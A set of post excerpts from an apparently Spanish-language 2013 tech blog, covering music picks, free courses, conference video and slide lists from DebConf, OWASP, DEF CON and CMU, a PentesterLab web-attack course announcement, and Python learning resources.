Spoilers como puños a continuación ...

Domingo por la mañana, Bunbury, Despierta.

Aún no la encuentro ni por Spotify ni por Grooveshark.

No es que Bunbury sea precisamente santo de mi devoción, pero este vídeo es especial para mi y para muchos de mis amigos ;)

Bunbury

Er docu der finde: El dólar, más que un billete

http://www.youtube.com/watch?v=F7U0lgnQ4YM

Los arqueólogos de Internet, reconstruyendo …

Primer ratón (Fuente: Wikipedia)

Un estudio de Technology Review revela un hecho, que aunque suene un poco sensacionalista, es totalmente cierto: Internet se está perdiendo. La conclusión es que los datos se pierden con una media del 11% en un año y 27% en dos.

Al hablar de webs perdidas por supuesto se incluyen por ejemplo foros de discusión, post de bloggers, etc, además de páginas web de todo tipo.

Domingo por la mañana, Engineers, To An Evergreen …

Engineers

Spotify & GrooveShark

 

Google conoce casi todas las contraseñas WiFi del …

Y si Google las conoce, por defecto la NSA y la CIA también.

¿Y cómo puede ser esto?, pues muy sencillo. Si un dispositivo Android (ya os podéis imaginar los que hay por el mundo), ya sea teléfono o tablet, se conecta con una WiFi esta queda almacenada en el aparato y por lo tanto, se almacena también en Google (desde la versión 2.2) cuando se hace una copia de seguridad de la configuración (ver la imagen del post). Evitar esto es sencillo, simplemente desactiva la opción de Backup, el problema es que esta opción es bastante útil cuando pierdes el móvil, se estropea o lo cambias.

Así suena el espacio interestelar ...

Este sonido reproduce la amplitud y frecuencia de las ondas de plasma (gas ionizado) que rellenan el espacio entre las estrellas detectado por la sonda Voyager 1. Estas ondas pueden ser escuchadas por el ser humano ya que se encuentran dentro del rango de frecuencias audibles.

Er docu der finde: La guerra del chip

Khan Academy debuta en español

Apuesto que muchos de vosotros ya conocéis Khan Academy y para los que no lo conocéis, cito literalmente:

Somos una organización sin fines de lucro con el objetivo de mejorar la educación proporcionando gratis educación de primer nivel para cualquier persona en cualquier lugar del mundo.

Los recursos que aparecen aquí son disponibles para cualquiera. No importa si eres estudiante, maestro, director, si estudias por tu cuenta, si eres un adulto que regresa a estudiar después de 20 años, o un extraterrestre amigable que quiere aprender un poco sobre biología terrestre. Los recursos y materiales de Khan Academy están a tu disposición y son completamente gratis.

Yo diría que es el sitio web o al menos uno de ellos, que han revolucionada la educación por internet y cuyo modelo educativo está muy de moda con los famosos MOOCs.

Er docu der finde: El código Voynich, el …

La copia bielorrusa de The Big Bang Theory

Contemplad el primer capítulo de este plagio descarado de The Big Bang Theory que tiene el título original de “The Theorists” :P

Desde luego no se han comido el coco … aunque creo que me quedo con esta Penny ;)

Programando un bot para twitter en Python

Antes de nada aclarar que  este bot no es un seguidor automático para twitter, ya que posiblemente no duraría mucho y la cuenta sería baneada de inmediato (aunque el autor lo tiene en mente). Lo que realmente hace este programa es analizar los tweets de tu cuenta buscando alguna palabra concreta (que defines el código) y cuando coincida marcar ese tweet como favorito.

¿Qué ventaja tiene esto?, pues muy sencillo, conseguir seguidores, ya que cuando haces favorito un tweet, el autor se suele interesar, visita los tuyos y la mayoría de las veces acaba subscribiéndose a tu cuenta.

The MagPi 16, número septiembre

Ya tenemos disponible un número más de The MagPi, la revista dedicada a Raspberry Pi. En este número 16 del mes de septiembre, podemos encontrar:

• SKUTTER I2C
• PATOSS
• PI MATRIX
• BOOK REVIEW
• THE PI-LITE
• LOGI-PI SPARTAN6 FPGA BOARD
• USB ARDUINO LINK
• AB ELECTRONICS COMPETITION
• THIS MONTH'S EVENTS GUIDE
• FRESHLY ROASTED
• PCSL COMPETITION
• BASH GAFFER TAPE
• XML
• FEEDBACK

La podéis descargar en PDF desde aquí o leerla desde el navegador.

Documentación de los parámetros de un comando …

Cuando trabajas con la línea de comandos y tienes que ejecutar alguna tarea de administración, muchas veces, siguiendo algún manual o tutorial, te encuentras con algún comando que usa un parámetro poco común y no sabemos el significado del mismo. Como buen administrador de sistemas, deberías de averiguar que hace exactamente dicho parámetro para asegurarte qué sabes lo que estas haciendo.

Lo primero que hacemos (hago) es normalmente mirar la ayuda del comando, pero normalmente dicha información no es lo suficiente descriptiva, de hecho, muchas veces, si el parámetro en cuestión no es muy común, éste puede ni que aparezca en la ayuda del comando. Nuestra siguiente opción es ir al man del comando. Aquí yo personalmente, algunas veces me pierdo un poco. Algunos comandos tienen una documentación muy extensa y no muy “amigable”. Nuestro tercer paso, al menos el mío: Google, por supuesto.

Diapositivas de Intro to Computer & Network …

David Brumley

Intro to Computer & Network Security & Applied Cryptography es otra de las clases impartidas por la Universidad de Carniege Mellon en las que han publicado las diapositivas de la misma. Esta clase se impartió el otoño pasado. Ésta fue impartida por David Brumley, mentor facultativo del equipo PPP.

Las diapositivas son:

• 01_introduction.pdf
• 02_compilation.pdf
• 03-controlflow-attack.pdf
• 05-controlflow-defense.pdf
• 06-CFI.pdf
• 07-08-web-security.pdf
• 09-typesafety-theory.pdf
• 10-information-flow-overview.pdf
• 11-malware.pdf
• 12-crypto-intro.pdf
• 13-crypto-block-ciphers.pdf
• 14-crypto-mac-hashes.pdf
• 15-crypto-public-key.pdf
• 16-crypto-authenticated-encryption-protocols.pdf
• 17-netsec-intro.pdf
• 18-netsec-firewall-ids.pdf
• 22-AAA.pdf
• crypto-acronyms.pdf

Vídeos de la DebConf 2013

Ya podemos ver las charlas de la DebConf13, una conferencia entorno a la distribución Debian. La lista de vídeos es la siguiente:

• 960_X2Go_Terminal_Server_Suite_and_Debian.webm
• 962_Debian-LAN.webm
• 964_FreedomBox.webm
• 965_SPI_BOF.webm
• 966_Technical_Committee_BOF.webm
• 967_X_Compositing_for_Free.webm
• 968_Embedded_ARM_development_in_Debian.webm
• 969_Flying_Rockets_with_Debian_Software.webm
• 970_Derivatives_panel.webm
• 972_Bits_from_the_DPL.webm
• 973_Building_a_private_cloud_on_Debian_using_Eucalyptus.webm
• 974_use_Perl.webm
• 975_dh_busfactor.webm
• 976_Debian_Cosmology.webm
• 977_LAVA_full-system_testing_on_real_hardware.webm
• 978_Munin_.webm
• 979_WebID_BoF.webm
• 980_systemd_myths_debunked.webm
• 981_Making_your_package_work_with_systemd.webm
• 983_Why_Debian_should_or_should_not_make_systemd_the_default.webm
• 984_An_introduction_to_the_BootstrapBuild_Ordering_Toolchain.webm
• 986_Why_running_a_Blend.webm
• 987_How_to_attract_new_developers_for_your_team.webm
• 988_Debian_Med_meeting.webm
• 989_Debian_Science_Roundtable.webm
• 993_Debian_Contributors.webm
• 994_Debian_Contributors_BOF.webm
• 995_An_introduction_to_jenkins.debian.net.webm
• 997_piuparts.d.o_testing_that_.deb_packages_behave.webm
• 998_Debian_teams.webm
• 999_Paths_into_Debian.webm
• 1000_An_update_on_Debian_with_Clang.webm
• 1001_phpMyAdmin_tutorial.webm
• 1002_How_other_FLOSS_communities_mentor.webm
• 1003_Debian_on_Google_Compute_Engine.webm
• 1004_Public_clouds_and_official_Debian_image_status.webm
• 1005_Tutorial_Using_Debian_on_Google_Compute_Engine.webm
• 1006_Challenges_Questions_on_Packaging_Cloud-Specific_Software_for_Debian.webm
• 1007_Debian_derivatives_BoF.webm
• 1008_Lintian_as_a_analysis_framework.webm
• 1009_Packaging_for_beginners.webm
• 1011_From_Smaky_to_Colobot_a_history_of_software_in_Switzerland.webm
• 1012_Women_in_Debian_2013.webm
• 1013_Hardware_support_in_Debian_stable.webm
• 1014_Debian_at_the_core_of_modern_communications_networks.webm
• 1015_DebiChem.webm
• 1017_Destabilising_the_Linux_kernel_module_ABI.webm
• 1018_Whats_new_in_the_Linux_kernel.webm
• 1019_Multiarch_workshop.webm
• 1020_Cross_compilers_in_Debian.webm
• 1021_ARM_BOF.webm
• 1022_DPL_helpers_BOF.webm
• 1023_Adding_Challenge-Response_Based_Authentication_Schemes_To_oath-toolkit_and_dynalogin.webm
• 1024_WebRTC_on_Debian.webm
• 1025_gitify_your_life.webm
• 1026_buildd_wanna-build_bof.webm
• 1027_Why_Debian_needs_Upstart.webm
• 1028_Ubuntu_daily_quality_improvements_overlap_with_Debian_CUT.webm
• 1029_Revisiting_the_multi-arch_premises_for_a_more_capable_multi-arch_system.webm
• 1030_Introducing_Architecture_llvm.webm
• 1031_OpenStack_workshop.webm
• 1032_DC14_in_Portland.webm
• 1033_Why_DoudouLinux_matters.webm
• 1035_Introduction_to_git-dpm.webm
• 1036_AWS_Debian.webm
• 1037_Debian_on_AWS_BoF.webm
• 1038_How_can_AWS_help_Debian.webm
• 1039_Secure_Boot_for_Debian_Linux.webm
• 1041_Welcome_talk.webm
• 1042_Closing_ceremony.webm
• 1043_DC15_proposals.webm
• 1044_Lightning_talks.webm
• 1048_Recursive_node_classification_for_system_automation.webm
• 1049_CoC_BoF.webm
• 1050_Jitsi_and_Jitsi_Videobridge.webm
• 1051_New_Member_BOF.webm
• 1054_dracut.webm
• 1060_ikiwiki_BoF.webm
• 1065_Ruby_BoF.webm
• 1073_MariaDB.webm
• 1089_debconf_governance.webm
• 1092_X_Strike_Force_BoF.webm

Curso de experto en desarrollo de videojuegos

“Haciendo limpieza” de los enlaces que me voy guardando para una futura entrada en el blog y que se acaban quedando en el tintero, me he encontrado con un Curso de experto en desarrollo de videojuegos, que tiene una pinta muy, pero que muy buena y lo mejor de todo es que está en perfecto español.

El curso es impartido por Universidad de Castilla-La Mancha y está cubierto por 4 asignaturas y un trabajo de fin de curso. Además de todo esto para los no residentes en España, es que el material del curso completo está disponible de forma totalmente gratuita en formato PDF junto con los ejemplos.

Desarrollo de juegos 2D con Java

Una de las formas más divertida de a aprender a programar es creando tus propios juegos. Para ello, obviamente además de los conceptos de programación básicos, necesitas también conocer los conceptos básicos del desarrollo de juegos y una vez tengas los conocimientos, nada como ponerlos en práctica creando cosas sencillitas.

En este sitio web, nos enseñan los conceptos necesarios para la programación de vídeo juegos en 2D usando Java. Comienzan con conceptos básicos, animaciones, movimiento de sprites y detección de colisiones.

Er docu der finde: Los robots de la antigüedad

Vídeos de la OWASP AppSec Europe 2013

Ya tenemos disponibles los vídeos de otra magnífica conferencia sobre seguridad informática: OWASP AppSec Europe 2013. Ésta se celebró en Hamburgo durante el pasado 20-23 de agosto. La lista de los vídeos es la siguiente:

• AbrahamAranguren-IntroducingOWASPOWTF5x5_720p.mp4
• AchimHoffmannOferShezaf-WAFEC-contentandhistoryofanunbiasedprojectchallenge_720p.mp4
• BastianBraunJoachimPoseggaChristianV.Pollak-ADoormanforYourHome-Control-FlowIntegrityMeansinWebFrameworks_720p.mp4
• ColinWatsonDennisGroves-OWASPAppSensorInTheoryInPracticeandInPrint_720p.mp4
• DanCornell-DoYouHaveaScanneroraScanningProgram_720p.mp4
• DieterGollmann-ClosingNoteAccessControloftheWeb-TheWebofAccessControl_720p.mp4
• DirkWetter-ClosingCeremony_720p.mp4
• EduardoVela-Matryoshka_720p.mp4
• ErlendOftedal-RESTfulsecurity_720p.mp4
• FredDonovan-Q-BoxandH-BoxRaspberryPIfortheInfrastructureandHacker_720p.mp4
• JrgSchwenk-KeynoteCryptographyinWebSecurityStupidBrokenandmaybeWorking_720p.mp4
• KonstantinosPapapanagiotouSpyrosGasteratos-OWASPHackademicapracticalenvironmentforteachingapplicationsecurity_720p.mp4
• LucaViganLucaCompagna-TheSPaCIoSToolproperty-drivenandvulnerability-drivensecuritytestingforWeb-basedapplicationscenarios_720p.mp4
• MarcoBalduzziVincenzoCiangagliniRobertMcArdle-HTTPS-BasedClusteringforAssistedCybercrimeInvestigations_720p.mp4
• MarioHeiderich-TheinnerHTMLApocalypse-HowmXSSattackschangeeverythingwebelievedtoknowsofar_720p.mp4
• MicheleOrr-RootingyourinternalsInter-ProtocolExploitationcustomshellcodeandBeEF_720p.mp4
• MiltonSmith-MakingtheFutureSecurewithJava_720p.mp4
• NickNikiforakis-WebFingerprintingHowWhoandWhy_720p.mp4
• NicolasGrgoire-BurpPro-Real-lifetipsandtricks_720p.mp4
• PaulStone-PrecisionTiming-AttackingbrowserprivacywithSVGandCSS_720p.mp4
• PhilippeDeRyckLievenDesmetFrankPiessensWouterJoosen-ImprovingtheSecurityofSessionManagementinWebApplications_720p.mp4
• RetoIschi-AnAlternativeApproachforReal-LifeSQLiDetection_720p.mp4
• RobertoSuggiLiverani-AugmentedRealityinyourWebProxy_720p.mp4
• SahbaKazerooni-NewOWASPASVS2013_720p.mp4
• SaschaFahlMarianHarbachMatthewSmith-MalloDroidHuntingDownBrokenSSLinAndroidApps_720p.mp4
• SaschaFahlMatthewSmithHenningPerlMichaelBrenner-QualitativeComparisonofSSLValidationAlternatives_720p.mp4
• SimonBennetts-OWASPZAPInnovations_720p.mp4
• TalBeEry-APerfectCRIMEOnlytimewilltell_720p.mp4
• ThomasHerleaNelisBouckJohanPeeters-RecipesforenablingHTTPS_720p.mp4
• YvanBoilyMinion-MakingSecurityToolsaccessibleforDevelopers_720p.mp4
• AngelaSasse-KeynoteBustingTheMythofDancingPigsAngelasTop10listofreasonswhyusersbypasssecuritymeasures_720p.mp4
• BenStock-EradicatingDNSRebindingwiththeExtendedSame-OriginPolicy_720p.mp4
• DavidRoss-InsaneintheIFRAME--Thecaseforclient-sideHTMLsanitization_720p.mp4
• DirkWetter-Welcomenoteandamanualfortheconferenceandeverythingelse_720p.mp4
• ErlendOftedal-SecuringamodernJavaScriptbasedsinglepagewebapplication_720p.mp4
• FlorianStahlJohannesStroeher-SecurityTestingGuidelinesformobileApps_720p.mp4
• FrederikBraun-OriginPolicyEnforcementinModernBrowsers_720p.mp4
• JimManico-OWASPTop10ProactiveControls_720p.mp4
• KrzysztofKotowicz-Iminurbrowserpwningyourstuff-AttackingwithGoogleChromeextensions_720p.mp4
• NickNikiforakisLievenDesmetStevenVanAcker-SandboxingJavascript_720p.mp4
• OWASPBoard-OWASPIntroduction_720p.mp4
• SebastianLekiesBenStock-ClickjackingProtectionUnderNon-trivialCircumstances_720p.mp4
• StefanoDiPaola-JavascriptlibrariesinsecurityAshowcaseofrecklessusesandunwittingmisuses_720p.mp4
• TarasIvashchenko-ContentSecurityPolicy-thepanaceaforXSSorplacebo_720p.mp4
• ThomasRoessler-KeynoteSecureallthethingsfictionfromtheWebsimmediatefuture_720p.mp4
• TobiasGondrom-OWASP-CISOGuideandCISOreport2013formanagers_720p.mp4

La CMU publica el material de su clase Secure …

La facultad de Ingeniería Eléctrica e Informática de la Universidad Carnegie Mellon, ha publicado el material de una de sus clases, llamada Secure Software Systems. Las diapositivas de la clase son las siguientes:

• Introduction [pdf]
• System model: Source code to execution [pdf]
• Attacks: Buffer overflows, format-string vulnerabilities, and other attacks [pdf]
• Basic building blocks: separation, memory protection [pdf]
• Basic building blocks: VMs, Java sandboxing [pdf]
• Isolation and confinement in Android [pdf]
• Control-flow integrity [pdf]
• Run-time enforcement: enforceable properties [pdf]
• Web attacks [pdf]
• Web defenses: Native client, app isolation [pdf]
• Crypto overview [pdf]; software security architectures: Trusted Computing
• Software security architectures: Trusted Computing + policy
• Static analysis: C programs
• Static analysis: web applications
• Static analysis: malware
• Dynamic analysis
• Software model checking
• Software model checking
• Software model checking
• Building verifiable systems: seL4, browsers
• Language-based security: type systems
• Language-based security: typed assembly language
• Language-based security: noninterference
• Dynamic taint analysis
• Language-based security: security-typed languages
• Usability in software security
• Usable Security: Passwords (Part 1)
• Usable Security: Passwords (Part 2)
• Wrap-up

Con cada clase, se recomienda algún tipo de lectura que podréis encontrar en el enlace del curso. Como nota extra, sólo apuntar que de esta universidad es la "cantera" de PPP o Plaid Parliament of Pwning, un conocido equipo de jugadores CTF. Este año, entre otros, han ganado el CTF de DEF CON.

Presentaciones de DEF CON 21

Ya estás disponibles las presentaciones (diapositivas y algún material extra) de la DEF CON 21. Todavía no están todas, pero aquí tenéis la lista de las disponibles en estos momentos:

• Business logic flaws in mobile operators services - PDF White Paper
• Fear the Evil FOCA: IPv6 attacks in Internet connections - PDF
• Suicide Risk Assessment and Intervention Tactics - PDF Extras
• Combatting Mac OSX/iOS Malware with Data Visualization - PDF White Paper
• MITM All The IPv6 Things - PDF
• PowerPwning: Post-Exploiting By Overpowering PowerShell - PDF Extras
• Transcending Cloud Limitations by Obtaining Inner Piece - PDF Extras
• Data Evaporation from SSDs - PDF
• Evil DoS Attacks and Strong Defenses - PDF
• RFID Hacking: Live Free or RFID Hard - PDF Extras
• OTP, It won't save you from free rides! - PDF White Paper Extras
• Conducting massive attacks with open source distributed computing - PDF
• Offensive Forensics: CSI for the Bad Guy - PDF Extras
• Utilizing Popular Websites for Malicious Purposes Using RDI - PDF
• Abusing NoSQL Databases - PDF
• Legal Aspects of Full Spectrum Computer Network (Active) Defense - PDF
• Blucat: Netcat For Bluetooth - Extras
• Home Invasion 2.0 - Attacking Network-Controlled Consumer Devices - PDF White Paper Extras
• Stepping P3wns: Adventures in full spectrum embedded exploitation (and defense!) - PDF
• Revealing Embedded Fingerprints: Deriving intelligence from USB stack interactions - PDF White Paper
• How to Disclose or Sell an Exploit Without Getting in Trouble - PDF
• I Can Hear You Now: Traffic Interception and Remote Mobile Phone Cloning with a Compromised CDMA Femtocell - PDF
• Privacy In DSRC Connected Vehicles - PDF
• Pwn'ing You(r) Cyber Offenders - PDF
• Electromechanical PIN Cracking with Robotic Reconfigurable Button Basher (and C3BO) - PDF White Paper Extras
• Google TV or: How I Learned to Stop Worrying and Exploit Secure Boot - PDF
• gitDigger: Creating useful wordlists from public GitHub repositories - PDF
• 10000 Yen into the Sea - PDF Extras
• Defeating SEAndroid - PDF
• The Politics of Privacy and Technology: Fighting an Uphill Battle - PDF
• Java Every-Days: Exploiting Software Running on 3 Billion Devices - PDF White Paper
• JTAGulator: Assisted Discovery Of On-Chip Debug Interfaces - PDF Extras
• Protecting Data with Short-Lived Encryption Keys and Hardware Root of Trust - PDF
• So You Think Your Domain Controller is Secure? - PDF
• Phantom Network Surveillance UAV / Drone - PDF
• The Bluetooth Device Database - PDF Extras
• Dude, WTF in my car? - PDF
• Resting on Your Laurels will get you Pwned: Effectively Code Reviewing REST Applications to avoid getting powned - PDF
• Torturing Open Government Systems for Fun, Profit and Time Travel - PDF
• The Secret Life of SIM Cards - PDF
• Key Decoding and Duplication Attacks for the Schlage Primus High-Security Lock - PDF Extras
• GoPro or GTFO: A Tale of Reversing an Embedded System - PDF
• A Thorny Piece Of Malware (And Me): The Nastiness of SEH, VFTables & Multi-Threading - PDF Extras
• Pwn The Pwn Plug: Analyzing and Counter-Attacking Attacker-Implanted Devices - PDF White Paper Extras
• Getting The Goods With smbexec - PDF
• PowerPreter: Post Exploitation Like a Boss - PDF Extras
• Kill 'em All — DDoS Protection Total Annihilation! - PDF White Paper Extras
• Please Insert Inject More Coins - PDF
• Stalking a City for Fun and Frivolity - PDF
• Fast Forensics Using Simple Statistics and Cool Tools - PDF Extras
• VoIP Wars: Return of the SIP - PDF Extras
• Exploiting Music Streaming with JavaScript - PDF Extras
• ACL Steganography - Permissions to Hide Your Porn - PDF Extras
• Doing Bad Things to 'Good' Security Appliances - PDF
• Let's screw with nmap - PDF Extras
• Defending Networks with Incomplete Information: A Machine Learning Approach - PDF White Paper
• We are Legion: Pentesting with an Army of Low-power Low-cost Devices - PDF Extras
• The Road Less Surreptitiously Traveled - PDF Extras
• Hacker Law School - PDF1 PDF2 PDF3 PDF4
• Defense by numbers: Making problems for script kiddies and scanner monkeys - PDF
• Forensic Fails - Shift + Delete won't help you here - PDF
• The dawn of Web 3.0: website mapping and vulnerability scanning in 3D, just like you saw in the movies - PDF
• Building an Android IDS on Network Level - PDF
• Safety of the Tor network: a look at network diversity, relay operators, and malicious relays - PDF
• How my Botnet Purchased Millions of Dollars in Cars and Defeated the Russian Hackers - PDF
• Examining the Bitsquatting Attack Surface - White Paper
• Hacking Wireless Networks of the Future: Security in Cognitive Radio Networks - PDF
• Making Of The DEF CON Documentary - PDF
• All Your RFz Are Belong to Me - Hacking the Wireless World with Software Defined Radio - PDF
• A Password is Not Enough: Why disk encryption is broken and how we might fix it - PDF
• EMET 4.0 PKI Mitigation - PDF
• BYO-Disaster and Why Corporate Wireless Security Still Sucks - PDF
• Evolving Exploits Through Genetic Algorithms - PDF
• How to Hack Your Mini Cooper: Reverse Engineering Controller Area Network (CAN) Messages on Passenger Automobiles - PDF White Paper Extras
• Collaborative Penetration Testing With Lair - PDF
• DNS May Be Hazardous to Your Health - PDF
• Predicting Susceptibility to Social Bots on Twitter - PDF
• EDS: Exploitation Detection System - PDF White Paper
• The Government and UFOs: A Historical Analysis by Richard Thieme - PDF Extras
• BoutiqueKit: Playing WarGames with expensive rootkits and malware - PDF
• C.R.E.A.M. Cache Rules Evidently Ambiguous, Misunderstood - PDF
• Insecurity - A Failure of Imagination - PDF
• HTTP Time Bandit - PDF
• BYOD PEAP Show - PDF
• Android WebLogin: Google's Skeleton Key - PDF Extras
• Hacking Driverless Vehicles - PDF

Servicios Linux escuchando por el mismo puerto

Cuando leí sobre la nueva funcionalidad introducida en el núcleo de Linux en su versión 3.9 me acordé de la entrada HTTPS, SSH y OpenVPN en un mismo puerto, ¿magia? en SecurityByDefault aunque son cosas distintas.

Como decía en la versión del núcleo de Linux 3.9, se introdujo una nueva característica relacionada con los Sockets, la cual permite poner a más de un servicio o demonio escuchando por el mismo puerto. Esto se consigue a través de una nueva opción llamada SO_REUSEPORT. Los parches para esta nueva funcionalidad fueron implementados por Tom Herbert, un ingeniero de Google.

Disponible el código fuente de la mítica demo …

Antes de empezar, vamos a deleitarnos otra vez con la mejor demostración gráfica de todos los tiempos:

httpv://youtu.be/rFv7mHTf0nA

Second Reality fue una "demo" programada por Future Crew para la demoparty Assembly 93. Después de ganarla pasó a la posteridad por su gran calidad en la programación de efectos gráficos (no falta ni uno) y de la música.

Pues los chicos de Future Crew han celebrado su 20 aniversario de la forma que más nos gusta a los geek como nosotros, publicando el código fuente original de la demo que puedes descargar aquí (el código se publicó el 30 de Julio de este mismo año.). Aunque ya tiene algún tiempo (1993), es interesante analizar la forma en la cual crearon esos fantásticos efectos y aprender de ellos.

Aprende y/o enseña a programar con Python y …

Raspberry Pi + Minecraft Pi + Python Pi es una combinación perfecta para la enseñanza de la programación, asequible y al alcance de cualquiera.

Eso mismo pensó Craig Richardson, autor de un libro que nos podemos descargar de forma totalmente gratuita en el recoge una serie ejercicios sobre programación en Python usando Minecraft Pi. El libro se titula Minecraft Pi Book (PDF).

Cada capítulo del libro comienza con varios ejercicios de programación sobre Minecraft y después de estos, podemos encontrar explicaciones y conceptos de programación/Python que necesitaremos para realizar los ejercicios anteriormente propuestos. Cada capítulo va tocando conceptos más avanzados y también reta al estudiante con ejercicios extras que van un poco más allá de los conceptos explicados.

Domingo por la mañana, Folly & The Hunter, …

Spotify & Grooveshark.

Folly And The Hunter.

Er docu der finde: Echelon, la máquina espía

Atacando Servicios Web Axis2 y Tomcat Manager, …

PentesterLab acaba de lanzar otro de sus maravillosos cursos/tutoriales sobre penetración en aplicaciones web: Axis2 and Tocat Manager. En este caso nuestro objetivo es conseguir subir una shell web en el archi-conocido contenedor web Tomcat, atacando servicios web implementados con Axis2.

Aprenderás a interactuar con servicios web, escribir shell webs en JSP y a atacar Tomcat Manager.

Como de costumbre los requisitos son:

• Ganas de aprender
• Conocimientos básicos sobre el protocolo HTTP
• En este caso, conocimientos básicos sobre Java
• Software de virtualización

Y como siempre tenemos máquinas virtuales de 32 y 64 bits, más el PDF de guía.

Presentaciones de la Crypto Rump 2013

Crypto Rump es un evento de un sólo día donde se presentan temas sobre cifrado. Las presentaciones son cortas y el evento dura sobre unas 3 horas y media. Crypto Rump 2013 se celebró el pasado 20 de agosto. Aquí tenéis el listado de las diapositivas:

• Chairs' report for Crypto 2013
• EyeDecrypt -- Private Interactions in Plain Sight
• How to make 400+ cryptographers appreciate your creativity
• The FEAL Cipher Prize Problem -Winner Announcement-
• Solving the FEAL 25 Years Prize Problems
• Factoring as a service
• Cryptanalysis of MDS-POTI
• NIST Update
• Spyin' NSA
• On the Security of RC4 in TLS
• Weakness of GF$(3^{6 \cdot 509})$ for Discrete Logarithm Cryptography
• Candidate Indistinguishability Obfuscation, Or Sell Apple, Buy Samsung
• How to Use Indistinguishability Obfuscation: Deniable Encryption, and More
• How to keep a secret: Leakage Deterring Public-Key Cryptosystems
• Random Number Generation, Revisited
• Naturally Rehearsing Passwords
• Computational Fuzzy Extractors
• Factoring RSA keys from certified smart cards: Coppersmith in the wild
• Warsaw is cool
• Under Surveillance
• An Improved Attack on 4-Round Even-Mansour with 2 Alternating Keys
• Quantum Time Capsules & Unknown Recipient Encryption
• Delegatable Pseudorandom Functions and Applications
• Fully-Anonymous Functional Proxy-Re-Encryption
• Shorter Quasi-Adaptive NIZKs for Linear Subspaces
• Communication complexity of the forge-and-lose technique
• The million-entry ORAM on MPC
• Announcing SCAPI: the Secure Computation API

Arreglando Galaga

Los más viejos del lugar y los aficionados a la informática retro seguro que conocen Galaga, un videojuego que aunque tuvo mucho éxito, no lo tuvo tanto como su predecesor Galaxian. Fue creado por la empresa Namco en 1981.

Como suele pasar, con prácticamente cualquier tipo de software, Galaga también tuvo sus fallos de programación, que los jugadores más audaces eran capaz de descubrir y aprovecharse de ellos para conseguir llegar hasta el final del juego, aunque en esto caso al igual que en el caso pantalla partida del PacMan el final sea un poco impredecible y depende del nivel de dificultad con el que estemos jugando.

Assembly, arte digital en su estado más puro

No, en esta entrada no vamos a hablar del lenguaje de programación ensamblador, sino de en evento que se celebra cada año y reúne a un número importante de geeks, entusiastas, jugadores, programadores, etc.

Este evento llamado Assembly se lleva celebrando desde el año 1992. En este evento se celebran varios tipos de competiciones y actividades. Por ejemplo tenemos competiciones de juegos (eSports), a nivel profesional y amateur:

Cinco proyectos para aprender Python

Bueno, en este momento hay 3 proyectos completos, el cuarto está en desarrollo y el quinto estará listo en el futuro.

Como decía en el título, son proyectos pequeños divididos en varias fases cuyo objetivo es el de enseñar a los no iniciados o programadores con poca experiencia el lenguaje de programación Python. El sitio en cuestión es http://newcoder.io/ . Y está creado por una ingeniera de Red Hat y fundadore de PyLadies San Francisco.

Vídeos de la clase Técnicas ofensivas, defensivas …

En el ya conocido por muchos OpenSecurityTraining acaban de subir los vídeos de la clase: Técnicas ofensivas, defensivas y forenses para determinar la identidad del usuario web (Offensive, Defensive, and Forensic Techniques for Determining Web User Identity).

Son un total de 12 vídeos con una duración total de algo más de 3 horas. Los vídeos son los siguientes:

• Part 1 (4:16, 37 MB) - Introduction
• Part 2 (10:02, 92 MB) - Characteristics of Internet Connections
• Part 3 (17:49, 156 MB) - Offensive - IP Geolocation
• Part 4 (31:20, 254 MB) - Offensive - Browser Identification
• Part 5 (5:51, 52 MB) - Defensive - Borrowing Wifi Connections
• Part 6 (19:39, 146 MB) - Defensive - Shell & Cloud Accounts
• Part 7 (24:07, 177 MB) - Defensive - Anonymizers
• Part 8 (5:16, 46 MB) - Defensive - Web Browser Privacy Modes
• Part 9 (11:54, 101 MB) - Defensive - Email Origin Obfuscation
• Part 10 (16:13,129 MB) - Offensive/Defensive - Other Web Browser Attacks/Defenses
• Part 11 (33:24, 257 MB) - Forensic: Database Analysis
• Part 12 (15:01, 107 MB) - Forensic: Log Analysis

También están disponibles en youtube con calidad HD. También tienes acceso a las diapositivas (pptx, odp o pdf) del mismo.

Todo lo que necesitas para el curso es conexión a internet, un navegador y una seria de herramientas escrita por el profesor.

Domingo por la mañana, Mother Falcon, Marigold.

Grooveshark y Spotify

Mother Falcon

Experto de seguridad publica en el muro de Mark …

Según parece un experto de seguridad palestino cuyo nombre en Facebook es Khalil, después de reportar una vulnerabilidad en Facebook, que permitiría escribir en el muro de cualquier usuario incluso no siendo amigo de éste y no ser reconocida como tal por parte del equipo de seguridad de Facebook, decidió publicar en el muro de Mark Zuckerberg el siguiente mensaje:

Después de dicho acto, el equipo de seguridad le pidió a Khalil todos los detalles y después de que éste le proporcionará los mismos, Facebook reconoció la vulnerabilidad, pero no le pagarán nada por violar los términos de seguridad, aunque no le especifican que términos violó, además de bloquearle la cuenta.

Bletchley, conjunto de herramientas para el …

Bletchley es un proyecto compuesto por varias herramientas y librerías que nos ayudan con la ardua tarea del criptoanálisis.

En estos momentos contiene cinco utilidades (línea de comandos):

• bletchley-analyze
• bletchley-encode
• bletchley-decode
• bletchley-http2py
• bletchley-nextrand

Y tres librerías:

• blobtools
• buffertools
• CBC

Haz click en los enlaces para obtener más información sobre cada una.

Aunque dicho proyecto está escrito en Python, actualmente sólo funcionan en distribuciones Linux, *BSD and MacOS. Windows no está soportado en estos momentos, pero puede que en un futuro lo esté.

Er docu der finde: Revolución cuántica

Screencasts en modo texto

Muchos conocemos el concepto de screencast, el cual es básicamente es grabar en vídeo todas las acciones que vas haciendo en tu escritorio. Muy usado para la creación de tutoriales por ejemplo.

Pero si lo que estás grabando es por ejemplo un tutorial sobre la línea de comandos o alguna utilidad que ejecutas en modo texto, ¿Por qué no grabar el “vídeo” en modo texto? ¿Que ventajas tienes? Pues por ejemplo puedes hacer click en enlaces o copiar y pegar el texto del screencast, cosa que no podrías hacer desde un vídeo.

Colección de herramientas forense

Tenía guardado este enlace, el cual contiene un buen puñado de utilidades sobre análisis forense, pero falta de tiempo y memoria se había olvidado por completo, hasta que vi el reto de hacking de nuestros amigos de Flu Project: BarceLOnas ¿Dónde está mi sobre? Y sin haber mirado el reto en sí, sí que me acordé de dicho enlace.

En el mismo podemos encontrar, como decía, un buen puñado de herramientas sobre análisis forense y además las tienes para Windows, Linux y Mac OS. Las herramientas son las siguientes:

Lenguajes de programación explicados con su propia …

Hoy os dejamos por aquí otra curiosa entrada sobre varios lenguajes de programación explicados con su propia sintaxis.

Desde al sitio Aprende X en Y minutos (Learn X in Y minutos) podemos a una curiosa explicación/introducción a varios lenguajes de programación (probablemente los más conocidos). Incluso hay traducciones al español de algunos de ellos: C, elisp, java, python y ruby.

